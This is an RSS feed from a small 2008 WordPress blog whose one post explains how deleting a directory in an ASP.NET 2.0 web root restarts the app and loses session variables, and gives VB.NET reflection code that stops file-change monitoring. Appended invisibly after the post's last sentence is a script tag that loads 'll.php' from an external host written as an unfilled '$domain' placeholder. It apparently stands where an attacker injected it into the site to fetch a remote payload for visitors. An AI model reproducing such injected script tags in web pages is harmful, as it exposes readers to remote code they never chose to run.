<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DynamicWebWorx - Web Blog</title>
	<atom:link href="http://dynamicwebworx.com/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://dynamicwebworx.com/blog/index.php</link>
	<description>Just another web blog.</description>
	<lastBuildDate>Thu, 29 May 2008 00:57:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Response.Redirect Is Losing My Session Variables</title>
		<link>http://dynamicwebworx.com/blog/index.php/?p=1</link>
		<comments>http://dynamicwebworx.com/blog/index.php/?p=1#comments</comments>
		<pubDate>Wed, 28 May 2008 16:44:12 +0000</pubDate>
		<dc:creator>webworx</dc:creator>
				<category><![CDATA[.Net]]></category>
		<category><![CDATA[VB .Net]]></category>

		<guid isPermaLink="false">http://dynamicwebworx.com/blog//?p=1</guid>
		<description><![CDATA[..or so I thought. I spent several hours today researching a problem where after submitting my edit.aspx page I would be forced to log in to my admin site again. I was clearly losing my session variable that stored my log in status. Since this was only happening during a delete data function I thought I [...]]]></description>
			<content:encoded><![CDATA[<p>..or so I thought. I spent several hours today researching a problem where after submitting my edit.aspx page I would be forced to log in to my admin site again. I was clearly losing my session variable that stored my log in status. Since this was only happening during a delete data function I thought I had tracked it down to the response.redirect statement. I found several threads and blogs that indicated that I was correct in assuming that it was the response.redirect problem. They all had a simply solution &#8211; to simply use the overloaded version of Redirect:</p>
<p>Response.Redirect(&#8220;~/default.aspx&#8221;, <font color="#0000ff">false</font>);</p>
<p>Of course this simple solution did not work for me. I spent a very frustrating hour researching and testing code changes before coming to the conclusion that it was not the Response.Redirect statement. So I starting researching other possible causes. After looking at my code again I noticed that the biggest difference between the edit function and the delete function was that in the delete I was doing a Directory.Delete statement to delete uploaded documents. So after a little more research I came across this article <a href="http://www.vikramlakhotia.com/Deleting_Directory_in_ASPnet_20.aspx">http://www.vikramlakhotia.com/Deleting_Directory_in_ASPnet_20.aspx</a> . Apparently in ASP.Net 2.0 when you delete a directory that is in your root web directory the File Change Notifications (FCN) will cause the AppDomain to restart thus losing all your session variables.</p>
<p>Great I had another possible cause but now I needed a solution. I didn&#8217;t like the solution presented in the article which was to just delete the files. Another posting I found suggested marking the directory in some way and then run a scheduled job to deleted the flagged directories &#8211; but that wouldn&#8217;t work for me either. Another suggestion was to move the directory outside of the web root &#8211; again not a possibilty in my situation. So my search continued until I found this vb.net code that would turn off the FCN monitoring from the root website directory, but monitoring of Bin, App_Themes and other folders will still be operational, so updated DLLs will still auto deploy.</p>
<p>Dim p As System.Reflection.PropertyInfo<br />
Dim o As Object<br />
Dim m As System.Reflection.MethodInfo<br />
p = GetType(System.Web.HttpRuntime).GetProperty(&#8220;FileChangesMonitor&#8221;, System.Reflection.BindingFlags.NonPublic Or System.Reflection.BindingFlags.Public Or System.Reflection.BindingFlags.Static)<br />
o = p.GetValue(Nothing, Nothing)<br />
m = o.GetType().GetMethod(&#8220;Stop&#8221;, System.Reflection.BindingFlags.Instance Or System.Reflection.BindingFlags.NonPublic)<br />
m.Invoke(o, New Object() {})</p>
<p>All I had to do was add the above code into the Global.asax in the Application_Start section. Simple as that and had I not been so sure that it was a response.redirect issue I wouldn&#8217;t have spent a whole morning researching the wrong problem.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dynamicwebworx.com/blog/index.php/?feed=rss2&amp;p=1</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

